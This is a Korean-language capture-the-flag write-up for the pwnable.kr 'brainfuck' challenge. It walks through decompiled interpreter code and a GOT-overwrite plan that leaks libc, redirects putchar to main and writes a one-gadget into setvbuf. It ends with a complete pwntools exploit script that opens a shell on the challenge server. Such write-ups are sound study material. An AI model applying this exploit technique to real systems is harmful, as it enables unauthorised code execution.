Search

[pwnable.kr] brainfuck

tag
write-up
Last edited time
2022/01/07 12:50
Category
pwnable.kr
Visibility
Public

1. 문제

1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
먼지 모르겠다. 코드를 한번 봐보자.
3) 코드흐름 파악
int __cdecl do_brainfuck(char a1) { int result; // eax _BYTE *v2; // ebx result = a1; switch ( a1 ) { case '+': // tape에 하위 한바이트 ++ result = p; ++*(_BYTE *)p; break; case ',': v2 = (_BYTE *)p; // tape 하위 한바이트에 입력한 바이트 저장 result = getchar(); *v2 = result; break; case '-': result = p; // tape에 하위 한바이트 -- --*(_BYTE *)p; break; case '.': result = putchar(*(char *)p); // tape 하위 한바이트 출력 break; case '<': result = p-- - 1; // p값 -- break; case '>': result = p++ + 1; // p값 ++ break; case '[': result = puts("[ and ] not supported."); break; default: return result; } return result; }
C
복사
메인에서 fget로 0x400만큼 입력을 받는다. 그다음 do_brainfuck 함수가 호출되고, 한바이트씩 각자의 로직이 수행된다.
p에는 tape 주소가 들어있고, tape에 하위 한바이트 증가 혹은 감소를 시키거나, getchar()로 한바이트를 입력할수 있다. 또한 putchar()로 하위 한바이트를 출력시킬수 있다.
또한 >와 < 를 이용하여 *p가 아닌 p 자체의 하위 한바이트를 증가 혹은 감소시킬수 있다.

2. 접근방법

PIE가 안걸려 있기 떄문에, p에 들어있는 값을 증가 혹은 감소시켜 putchar_got 주소로 맞춘다음에, 한바이트씩 출력시켜 libc를 릭한다. 그다음 더이상 putchar는 사용안해도 되기때문에 putchar_got를 main으로 덮는다.
main으로 다시 돌아온다음, p를 setvbuf_got로 변경시킨다. 그다음 getchar를 이용해서 setvbuf_got에 원샷 가젯을 넣고, 다시 putchar를 호출해서 main으로 돌아간다.
메인에서 setvbuf가 호출되면, 원샥 가젯이 호출될것이다.

3. 풀이

from pwn import * context(log_level="DEBUG") #p=process('./bf') p=remote('pwnable.kr',9001) elf=ELF('./bf') libc=ELF('./libc.so') pause() p.recvuntil('except [ ]\n') p_addr=0x804a0a0 memset_got=0x0804a02c setvbuf_got=0x0804a028 putchar_got=0x0804a030 off=libc.symbols['setvbuf'] leak_off=0x74 main_=0x08048671 payload='<'*(p_addr-setvbuf_got) payload+='.>.>.>.>>>>' payload+='>' payload+=',>,>,>,.' sleep(2) p.sendline(payload) setbuf_addr =0 for i in range(4): setbuf_addr += (u8(p.recv(1))<<(8*i)) log.info(hex(setbuf_addr)) libc_base=setbuf_addr-off log.info(hex(libc_base)) one=[0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] tt=libc_base+one[1] pause() p.send(p8(0x71)) p.send(p8(0x86)) pause() p.send(p8(0x04)) p.send(p8(0x08)) p.recvuntil('except [ ]\n') pause() payload='<'*(p_addr-setvbuf_got) payload+=',>,>,>,.' p.sendline(payload) log.info(hex(tt)) log.info(hex(tt&0xff)) log.info(hex((tt>>8)&0xff)) log.info(hex((tt>>16)&0xff)) log.info(hex((tt>>24)&0xff)) p.send(p8(tt&0xff)) p.send(p8((tt>>8)&0xff)) p.send(p8((tt>>16)&0xff)) p.send(p8((tt>>24)&0xff)) p.interactive()
C
복사

4. 몰랐던 개념